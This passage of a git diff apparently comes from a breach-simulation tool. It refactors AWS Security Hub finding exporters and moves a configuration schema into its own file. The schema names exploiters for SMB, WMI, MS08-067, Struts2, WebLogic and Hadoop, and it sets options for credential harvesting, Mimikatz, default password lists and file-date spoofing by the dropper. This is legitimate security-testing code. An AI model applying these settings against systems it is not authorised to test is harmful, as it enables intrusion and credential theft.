"AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a pass-the-hash attack over WMI protocol with user {username}".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_rdp_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - "Description": "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), "Remediation": { - "Recommendation": { - "Text": "The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", + description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( + issue['username']), + recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format( + machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_shared_passwords_domain_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Multiple users have the same password.", - "Description": "Some domain users are sharing passwords, this should be fixed by changing passwords.", - "Remediation": { - "Recommendation": { - "Text": "These users are sharing access password: {shared_with}.".format( - shared_with=issue['shared_with']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Multiple users have the same password.", + description="Some domain users are sharing passwords, this should be fixed by changing passwords.", + recommendation="These users are sharing access password: {shared_with}.".format( + shared_with=issue['shared_with']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_shared_admins_domain_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Shared local administrator account - Different machines have the same account as a local administrator.", - "Description": "Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.", - "Remediation": { - "Recommendation": { - "Text": "Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format( - username=issue['username'], shared_machines=issue['shared_machines']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Shared local administrator account - Different machines have the same account as a local administrator.", + description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t an unintentional local admin sharing.", + recommendation="Here is a list of machines which the account {username} is defined as an administrator: {shared_machines}".format( + username=issue['username'], shared_machines=issue['shared_machines']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_strong_users_on_crit_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 1, - "Normalized": 100 - }, "RecordState": "ACTIVE", - "Title": "Mimikatz found login credentials of a user who has admin access to a server defined as critical.", - "Description": "This critical machine is open to attacks via strong users with access to it.", - "Remediation": { - "Recommendation": { - "Text": "The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format( - services=issue['services'], threatening_users=issue['threatening_users']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=1, + title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.", + description="This critical machine is open to attacks via strong users with access to it.", + recommendation="The services: {services} have been found on the machine thus classifying it as a critical machine. These users has access to it:{threatening_users}.".format( + services=issue['services'], threatening_users=issue['threatening_users']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_struts2_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Struts2 servers are vulnerable to remote code execution.", - "Description": "Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", "Remediation": { - "Recommendation": { - "Text": "Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - " The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format( - machine=issue['machine'], ip_address=issue['ip_address']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Struts2 servers are vulnerable to remote code execution.", + description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.", + recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + " The attack was made possible because the server is using an old version of Jakarta based file upload Multipart parser.".format( + machine=issue['machine'], ip_address=issue['ip_address']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_weblogic_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Oracle WebLogic servers are vulnerable to remote code execution.", - "Description": "Install Oracle critical patch updates. Or update to the latest version. " \ - "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", - "Remediation": { - "Recommendation": { - "Text": "Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - " The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format( - machine=issue['machine'], ip_address=issue['ip_address']) - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Oracle WebLogic servers are vulnerable to remote code execution.", + description="Install Oracle critical patch updates. Or update to the latest version. " \ + "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.", + recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + " The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware (subcomponent: WLS Security).".format( + machine=issue['machine'], ip_address=issue['ip_address']), + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) @staticmethod def _handle_hadoop_issue(issue, instance_arn): - finding = \ - {"Severity": { - "Product": 10, - "Normalized": 100 - }, "RecordState": "ACTIVE", "Title": "Hadoop/Yarn servers are vulnerable to remote code execution.", - "Description": "Run Hadoop in secure mode, add Kerberos authentication.", "Remediation": { - "Recommendation": { - "Text": "The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack." - " The attack was made possible due to default Hadoop/Yarn configuration being insecure." - } - }} - if 'aws_instance_id' in issue: - finding["Resources"] = [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=issue['aws_instance_id']) - }] - else: - finding["Resources"] = [{'Type': 'Other'}] - - return finding + return AWSExporter._build_generic_finding( + severity=10, + title="Hadoop/Yarn servers are vulnerable to remote code execution.", + description="Run Hadoop in secure mode, add Kerberos authentication.", + recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack." + "The attack was made possible due to default Hadoop/Yarn configuration being insecure.", + instance_arn=instance_arn, + instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + ) diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/resources/exporter.py index 1cf0c1b10..e79fabc07 100644 --- a/monkey/monkey_island/cc/resources/exporter.py +++ b/monkey/monkey_island/cc/resources/exporter.py @@ -1,6 +1,4 @@ - -class Exporter: - +class Exporter(object): def __init__(self): pass diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index b88acbac6..57148aa0f 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -90,10 +90,11 @@ class Telemetry(flask_restful.Resource): @staticmethod def get_edge_by_scan_or_exploit_telemetry(telemetry_json): dst_ip = telemetry_json['data']['machine']['ip_addr'] + dst_domain_name = telemetry_json['data']['machine']['domain_name'] src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) dst_node = NodeService.get_monkey_by_ip(dst_ip) if dst_node is None: - dst_node = NodeService.get_or_create_node(dst_ip) + dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name) return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) @@ -144,30 +145,29 @@ class Telemetry(flask_restful.Resource): edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json) data = copy.deepcopy(telemetry_json['data']['machine']) ip_address = data.pop("ip_addr") + domain_name = data.pop("domain_name") new_scan = \ { "timestamp": telemetry_json["timestamp"], - "data": data, - "scanner": telemetry_json['data']['scanner'] + "data": data } mongo.db.edge.update( {"_id": edge["_id"]}, {"$push": {"scans": new_scan}, - "$set": {"ip_address": ip_address}} + "$set": {"ip_address": ip_address, 'domain_name': domain_name}} ) node = mongo.db.node.find_one({"_id": edge["to"]}) if node is not None: - if new_scan["scanner"] == "TcpScanner": - scan_os = new_scan["data"]["os"] - if "type" in scan_os: - mongo.db.node.update({"_id": node["_id"]}, - {"$set": {"os.type": scan_os["type"]}}, - upsert=False) - if "version" in scan_os: - mongo.db.node.update({"_id": node["_id"]}, - {"$set": {"os.version": scan_os["version"]}}, - upsert=False) + scan_os = new_scan["data"]["os"] + if "type" in scan_os: + mongo.db.node.update({"_id": node["_id"]}, + {"$set": {"os.type": scan_os["type"]}}, + upsert=False) + if "version" in scan_os: + mongo.db.node.update({"_id": node["_id"]}, + {"$set": {"os.version": scan_os["version"]}}, + upsert=False) @staticmethod def process_system_info_telemetry(telemetry_json): diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index f14c5d29f..672a593fa 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -35,7 +35,7 @@ class TelemetryFeed(flask_restful.Resource): { 'id': telem['_id'], 'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'), - 'hostname': NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'], + 'hostname': NodeService.get_monkey_by_guid(telem['monkey_guid']).get('hostname','missing'), 'brief': TELEM_PROCESS_DICT[telem['telem_type']](telem) } diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 8434a41dd..ae5755174 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -9,890 +9,12 @@ from cc.database import mongo from cc.encryptor import encryptor from cc.environment.environment import env from cc.utils import local_ip_addresses +from config_schema import SCHEMA __author__ = "itay.mizeretz" logger = logging.getLogger(__name__) -WARNING_SIGN = u" \u26A0" - -SCHEMA = { - "title": "Monkey", - "type": "object", - "definitions": { - "exploiter_classes": { - "title": "Exploit class", - "type": "string", - "anyOf": [ - { - "type": "string", - "enum": [ - "SmbExploiter" - ], - "title": "SMB Exploiter" - }, - { - "type": "string", - "enum": [ - "WmiExploiter" - ], - "title": "WMI Exploiter" - }, - { - "type": "string", - "enum": [ - "RdpExploiter" - ], - "title": "RDP Exploiter (UNSAFE)" - }, - { - "type": "string", - "enum": [ - "Ms08_067_Exploiter" - ], - "title": "MS08-067 Exploiter (UNSAFE)" - }, - { - "type": "string", - "enum": [ - "SSHExploiter" - ], - "title": "SSH Exploiter" - }, - { - "type": "string", - "enum": [ - "ShellShockExploiter" - ], - "title": "ShellShock Exploiter" - }, - { - "type": "string", - "enum": [ - "SambaCryExploiter" - ], - "title": "SambaCry Exploiter" - }, - { - "type": "string", - "enum": [ - "ElasticGroovyExploiter" - ], - "title": "ElasticGroovy Exploiter" - }, - { - "type": "string", - "enum": [ - "Struts2Exploiter" - ], - "title": "Struts2 Exploiter" - }, - { - "type": "string", - "enum": [ - "WebLogicExploiter" - ], - "title": "Oracle Web Logic Exploiter" - }, - { - "type": "string", - "enum": [ - "HadoopExploiter" - ], - "title": "Hadoop/Yarn Exploiter" - } - ] - }, - "finger_classes": { - "title": "Fingerprint class", - "type": "string", - "anyOf": [ - { - "type": "string", - "enum": [ - "SMBFinger" - ], - "title": "SMBFinger" - }, - { - "type": "string", - "enum": [ - "SSHFinger" - ], - "title": "SSHFinger" - }, - { - "type": "string", - "enum": [ - "PingScanner" - ], - "title": "PingScanner" - }, - { - "type": "string", - "enum": [ - "HTTPFinger" - ], - "title": "HTTPFinger" - }, - { - "type": "string", - "enum": [ - "MySQLFinger" - ], - "title": "MySQLFinger" - }, - { - "type": "string", - "enum": [ - "MSSQLFinger" - ], - "title": "MSSQLFinger" - }, - - { - "type": "string", - "enum": [ - "ElasticFinger" - ], - "title": "ElasticFinger" - } - ] - } - }, - "properties": { - "basic": { - "title": "Basic - Credentials", - "type": "object", - "properties": { - "credentials": { - "title": "Credentials", - "type": "object", - "properties": { - "exploit_user_list": { - "title": "Exploit user list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "Administrator", - "root", - "user" - ], - "description": "List of usernames to use on exploits using credentials" - }, - "exploit_password_list": { - "title": "Exploit password list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "Password1!", - "1234", - "password", - "12345678" - ], - "description": "List of password to use on exploits using credentials" - } - } - } - } - }, - "basic_network": { - "title": "Basic - Network", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "blocked_ips": { - "title": "Blocked IPs", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - ], - "description": "List of IPs to not scan" - }, - "local_network_scan": { - "title": "Local network scan", - "type": "boolean", - "default": True, - "description": "Determines whether the monkey should scan its subnets additionally" - }, - "depth": { - "title": "Distance from island", - "type": "integer", - "default": 2, - "description": - "Amount of hops allowed for the monkey to spread from the island. " - + WARNING_SIGN - + " Note that setting this value too high may result in the monkey propagating too far" - }, - "subnet_scan_list": { - "title": "Scan IP/subnet list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - ], - "description": - "List of IPs/subnets the monkey should scan." - " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" - } - } - }, - "network_analysis": { - "title": "Network Analysis", - "type": "object", - "properties": { - "inaccessible_subnets": { - "title": "Network segmentation testing", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - ], - "description": - "Test for network segmentation by providing a list of" - " subnets that should NOT be accessible to each other." - " For example, given the following configuration:" - " '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'" - " a Monkey running on 10.0.0.5 will try to access machines in the following" - " subnets: 11.0.0.2/32, 12.2.3.0/24." - " An alert on successful connections will be shown in the report" - " Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5" - } - } - } - } - }, - "monkey": { - "title": "Monkey", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "alive": { - "title": "Alive", - "type": "boolean", - "default": True, - "description": "Is the monkey alive" - } - } - }, - "behaviour": { - "title": "Behaviour", - "type": "object", - "properties": { - "self_delete_in_cleanup": { - "title": "Self delete on cleanup", - "type": "boolean", - "default": False, - "description": "Should the monkey delete its executable when going down" - }, - "use_file_logging": { - "title": "Use file logging", - "type": "boolean", - "default": True, - "description": "Should the monkey dump to a log file" - }, - "serialize_config": { - "title": "Serialize config", - "type": "boolean", - "default": False, - "description": "Should the monkey dump its config on startup" - } - } - }, - "system_info": { - "title": "System info", - "type": "object", - "properties": { - "extract_azure_creds": { - "title": "Harvest Azure Credentials", - "type": "boolean", - "default": True, - "description": - "Determine if the Monkey should try to harvest password credentials from Azure VMs" - }, - "collect_system_info": { - "title": "Collect system info", - "type": "boolean", - "default": True, - "description": "Determines whether to collect system info" - }, - "should_use_mimikatz": { - "title": "Should use Mimikatz", - "type": "boolean", - "default": True, - "description": "Determines whether to use Mimikatz" - }, - } - }, - "life_cycle": { - "title": "Life cycle", - "type": "object", - "properties": { - "max_iterations": { - "title": "Max iterations", - "type": "integer", - "default": 1, - "description": "Determines how many iterations of the monkey's full lifecycle should occur" - }, - "victims_max_find": { - "title": "Max victims to find", - "type": "integer", - "default": 30, - "description": "Determines the maximum number of machines the monkey is allowed to scan" - }, - "victims_max_exploit": { - "title": "Max victims to exploit", - "type": "integer", - "default": 7, - "description": - "Determines the maximum number of machines the monkey" - " is allowed to successfully exploit. " + WARNING_SIGN - + " Note that setting this value too high may result in the monkey propagating to " - "a high number of machines" - }, - "timeout_between_iterations": { - "title": "Wait time between iterations", - "type": "integer", - "default": 100, - "description": - "Determines for how long (in seconds) should the monkey wait between iterations" - }, - "retry_failed_explotation": { - "title": "Retry failed exploitation", - "type": "boolean", - "default": True, - "description": - "Determines whether the monkey should retry exploiting machines" - " it didn't successfuly exploit on previous iterations" - } - } - } - } - }, - "internal": { - "title": "Internal", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "singleton_mutex_name": { - "title": "Singleton mutex name", - "type": "string", - "default": "{2384ec59-0df8-4ab9-918c-843740924a28}", - "description": - "The name of the mutex used to determine whether the monkey is already running" - }, - "keep_tunnel_open_time": { - "title": "Keep tunnel open time", - "type": "integer", - "default": 60, - "description": "Time to keep tunnel open before going down after last exploit (in seconds)" - } - } - }, - "classes": { - "title": "Classes", - "type": "object", - "properties": { - "scanner_class": { - "title": "Scanner class", - "type": "string", - "default": "TcpScanner", - "enum": [ - "TcpScanner" - ], - "enumNames": [ - "TcpScanner" - ], - "description": "Determines class to scan for machines. (Shouldn't be changed)" - }, - "finger_classes": { - "title": "Fingerprint classes", - "type": "array", - "uniqueItems": True, - "items": { - "$ref": "#/definitions/finger_classes" - }, - "default": [ - "SMBFinger", - "SSHFinger", - "PingScanner", - "HTTPFinger", - "MySQLFinger", - "MSSQLFinger", - "ElasticFinger" - ], - "description": "Determines which classes to use for fingerprinting" - } - } - }, - "kill_file": { - "title": "Kill file", - "type": "object", - "properties": { - "kill_file_path_windows": { - "title": "Kill file path on Windows", - "type": "string", - "default": "%windir%\\monkey.not", - "description": "Path of file which kills monkey if it exists (on Windows)" - }, - "kill_file_path_linux": { - "title": "Kill file path on Linux", - "type": "string", - "default": "/var/run/monkey.not", - "description": "Path of file which kills monkey if it exists (on Linux)" - } - } - }, - "dropper": { - "title": "Dropper", - "type": "object", - "properties": { - "dropper_set_date": { - "title": "Dropper sets date", - "type": "boolean", - "default": True, - "description": - "Determines whether the dropper should set the monkey's file date to be the same as" - " another file" - }, - "dropper_date_reference_path_windows": { - "title": "Dropper date reference path (Windows)", - "type": "string", - "default": "%windir%\\system32\\kernel32.dll", - "description": - "Determines which file the dropper should copy the date from if it's configured to do" - " so on Windows (use fullpath)" - }, - "dropper_date_reference_path_linux": { - "title": "Dropper date reference path (Linux)", - "type": "string", - "default": "/bin/sh", - "description": - "Determines which file the dropper should copy the date from if it's configured to do" - " so on Linux (use fullpath)" - }, - "dropper_target_path_linux": { - "title": "Dropper target path on Linux", - "type": "string", - "default": "/tmp/monkey", - "description": "Determines where should the dropper place the monkey on a Linux machine" - }, - "dropper_target_path_win_32": { - "title": "Dropper target path on Windows (32bit)", - "type": "string", - "default": "C:\\Windows\\monkey32.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine " - "(32bit)" - }, - "dropper_target_path_win_64": { - "title": "Dropper target path on Windows (64bit)", - "type": "string", - "default": "C:\\Windows\\monkey64.exe", - "description": "Determines where should the dropper place the monkey on a Windows machine " - "(64 bit)" - }, - "dropper_try_move_first": { - "title": "Try to move first", - "type": "boolean", - "default": True, - "description": - "Determines whether the dropper should try to move itsel instead of copying itself" - " to target path" - } - } - }, - "logging": { - "title": "Logging", - "type": "object", - "properties": { - "dropper_log_path_linux": { - "title": "Dropper log file path on Linux", - "type": "string", - "default": "/tmp/user-1562", - "description": "The fullpath of the dropper log file on Linux" - }, - "dropper_log_path_windows": { - "title": "Dropper log file path on Windows", - "type": "string", - "default": "%temp%\\~df1562.tmp", - "description": "The fullpath of the dropper log file on Windows" - }, - "monkey_log_path_linux": { - "title": "Monkey log file path on Linux", - "type": "string", - "default": "/tmp/user-1563", - "description": "The fullpath of the monkey log file on Linux" - }, - "monkey_log_path_windows": { - "title": "Monkey log file path on Windows", - "type": "string", - "default": "%temp%\\~df1563.tmp", - "description": "The fullpath of the monkey log file on Windows" - }, - "send_log_to_server": { - "title": "Send log to server", - "type": "boolean", - "default": True, - "description": "Determines whether the monkey sends its log to the Monkey Island server" - } - } - }, - "exploits": { - "title": "Exploits", - "type": "object", - "properties": { - "exploit_lm_hash_list": { - "title": "Exploit LM hash list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [], - "description": "List of LM hashes to use on exploits using credentials" - }, - "exploit_ntlm_hash_list": { - "title": "Exploit NTLM hash list", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [], - "description": "List of NTLM hashes to use on exploits using credentials" - }, - "exploit_ssh_keys": { - "title": "SSH key pairs list", - "type": "array", - "uniqueItems": True, - "default": [], - "items": { - "type": "string" - }, - "description": "List of SSH key pairs to use, when trying to ssh into servers" - } - } - } - } - }, - "cnc": { - "title": "Monkey Island", - "type": "object", - "properties": { - "servers": { - "title": "Servers", - "type": "object", - "properties": { - "command_servers": { - "title": "Command servers", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "192.0.2.0:5000" - ], - "description": "List of command servers to try and communicate with (format is :)" - }, - "internet_services": { - "title": "Internet services", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "monkey.guardicore.com", - "www.google.com" - ], - "description": - "List of internet services to try and communicate with to determine internet" - " connectivity (use either ip or domain)" - }, - "current_server": { - "title": "Current server", - "type": "string", - "default": "192.0.2.0:5000", - "description": "The current command server the monkey is communicating with" - } - } - }, - 'aws_config': { - 'title': 'AWS Configuration', - 'type': 'object', - 'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.', - 'properties': { - 'aws_account_id': { - 'title': 'AWS account ID', - 'type': 'string', - 'description': 'Your AWS account ID that is subscribed to security hub feeds', - 'default': "" - }, - 'aws_access_key_id': { - 'title': 'AWS access key ID', - 'type': 'string', - 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.', - 'default': "" - }, - 'aws_secret_access_key': { - 'title': 'AWS secret access key', - 'type': 'string', - 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.', - 'default': "" - } - } - } - } - }, - "exploits": { - "title": "Exploits", - "type": "object", - "properties": { - "general": { - "title": "General", - "type": "object", - "properties": { - "exploiter_classes": { - "title": "Exploits", - "type": "array", - "uniqueItems": True, - "items": { - "$ref": "#/definitions/exploiter_classes" - }, - "default": [ - "SmbExploiter", - "WmiExploiter", - "SSHExploiter", - "ShellShockExploiter", - "SambaCryExploiter", - "ElasticGroovyExploiter", - "Struts2Exploiter", - "WebLogicExploiter", - "HadoopExploiter" - ], - "description": - "Determines which exploits to use. " + WARNING_SIGN - + " Note that using unsafe exploits may cause crashes of the exploited machine/service" - }, - "skip_exploit_if_file_exist": { - "title": "Skip exploit if file exists", - "type": "boolean", - "default": False, - "description": "Determines whether the monkey should skip the exploit if the monkey's file" - " is already on the remote machine" - } - } - }, - "ms08_067": { - "title": "MS08_067", - "type": "object", - "properties": { - "ms08_067_exploit_attempts": { - "title": "MS08_067 exploit attempts", - "type": "integer", - "default": 5, - "description": "Number of attempts to exploit using MS08_067" - }, - "ms08_067_remote_user_add": { - "title": "MS08_067 remote user", - "type": "string", - "default": "Monkey_IUSER_SUPPORT", - "description": "Username to add on successful exploit" - }, - "ms08_067_remote_user_pass": { - "title": "MS08_067 remote user password", - "type": "string", - "default": "Password1!", - "description": "Password to use for created user" - } - } - }, - "rdp_grinder": { - "title": "RDP grinder", - "type": "object", - "properties": { - "rdp_use_vbs_download": { - "title": "Use VBS download", - "type": "boolean", - "default": True, - "description": "Determines whether to use VBS or BITS to download monkey to remote machine" - " (true=VBS, false=BITS)" - } - } - }, - "sambacry": { - "title": "SambaCry", - "type": "object", - "properties": { - "sambacry_trigger_timeout": { - "title": "SambaCry trigger timeout", - "type": "integer", - "default": 5, - "description": "Timeout (in seconds) of SambaCry trigger" - }, - "sambacry_folder_paths_to_guess": { - "title": "SambaCry folder paths to guess", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - '/', - '/mnt', - '/tmp', - '/storage', - '/export', - '/share', - '/shares', - '/home' - ], - "description": "List of full paths to share folder for SambaCry to guess" - }, - "sambacry_shares_not_to_check": { - "title": "SambaCry shares not to check", - "type": "array", - "uniqueItems": True, - "items": { - "type": "string" - }, - "default": [ - "IPC$", "print$" - ], - "description": "These shares won't be checked when exploiting with SambaCry" - } - } - }, - "smb_service": { - "title": "SMB service", - "type": "object", - "properties": { - "smb_download_timeout": { - "title": "SMB download timeout", - "type": "integer", - "default": 300, - "description": - "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)" - }, - "smb_service_name": { - "title": "SMB service name", - "type": "string", - "default": "InfectionMonkey", - "description": "Name of the SMB service that will be set up to download monkey" - } - } - } - } - }, - "network": { - "title": "Network", - "type": "object", - "properties": { - "tcp_scanner": { - "title": "TCP scanner", - "type": "object", - "properties": { - "HTTP_PORTS": { - "title": "HTTP ports", - "type": "array", - "uniqueItems": True, - "items": { - "type": "integer" - }, - "default": [ - 80, - 8080, - 443, - 8008, - 7001 - ], - "description": "List of ports the monkey will check if are being used for HTTP" - }, - "tcp_target_ports": { - "title": "TCP target ports", - "type": "array", - "uniqueItems": True, - "items": { - "type": "integer" - }, - "default": [ - 22, - 2222, - 445, - 135, - 3389, - 80, - 8080, - 443, - 8008, - 3306, - 9200, - 7001 - ], - "description": "List of TCP ports the monkey will check whether they're open" - }, - "tcp_scan_interval": { - "title": "TCP scan interval", - "type": "integer", - "default": 200, - "description": "Time to sleep (in milliseconds) between scans" - }, - "tcp_scan_timeout": { - "title": "TCP scan timeout", - "type": "integer", - "default": 3000, - "description": "Maximum time (in milliseconds) to wait for TCP response" - }, - "tcp_scan_get_banner": { - "title": "TCP scan - get banner", - "type": "boolean", - "default": True, - "description": "Determines whether the TCP scan should try to get the banner" - } - } - }, - "ping_scanner": { - "title": "Ping scanner", - "type": "object", - "properties": { - "ping_scan_timeout": { - "title": "Ping scan timeout", - "type": "integer", - "default": 1000, - "description": "Maximum time (in milliseconds) to wait for ping response" - } - } - } - } - }, - }, - "options": { - "collapsed": True - } -} # This should be used for config values of array type (array of strings only) ENCRYPTED_CONFIG_ARRAYS = \ diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py new file mode 100644 index 000000000..7b857b109 --- /dev/null +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -0,0 +1,900 @@ +WARNING_SIGN = u" \u26A0" + +SCHEMA = { + "title": "Monkey", + "type": "object", + "definitions": { + "exploiter_classes": { + "title": "Exploit class", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "SmbExploiter" + ], + "title": "SMB Exploiter" + }, + { + "type": "string", + "enum": [ + "WmiExploiter" + ], + "title": "WMI Exploiter" + }, + { + "type": "string", + "enum": [ + "MSSQLExploiter" + ], + "title": "MSSQL Exploiter" + }, + { + "type": "string", + "enum": [ + "RdpExploiter" + ], + "title": "RDP Exploiter (UNSAFE)" + }, + { + "type": "string", + "enum": [ + "Ms08_067_Exploiter" + ], + "title": "MS08-067 Exploiter (UNSAFE)" + }, + { + "type": "string", + "enum": [ + "SSHExploiter" + ], + "title": "SSH Exploiter" + }, + { + "type": "string", + "enum": [ + "ShellShockExploiter" + ], + "title": "ShellShock Exploiter" + }, + { + "type": "string", + "enum": [ + "SambaCryExploiter" + ], + "title": "SambaCry Exploiter" + }, + { + "type": "string", + "enum": [ + "ElasticGroovyExploiter" + ], + "title": "ElasticGroovy Exploiter" + }, + { + "type": "string", + "enum": [ + "Struts2Exploiter" + ], + "title": "Struts2 Exploiter" + }, + { + "type": "string", + "enum": [ + "WebLogicExploiter" + ], + "title": "Oracle Web Logic Exploiter" + }, + { + 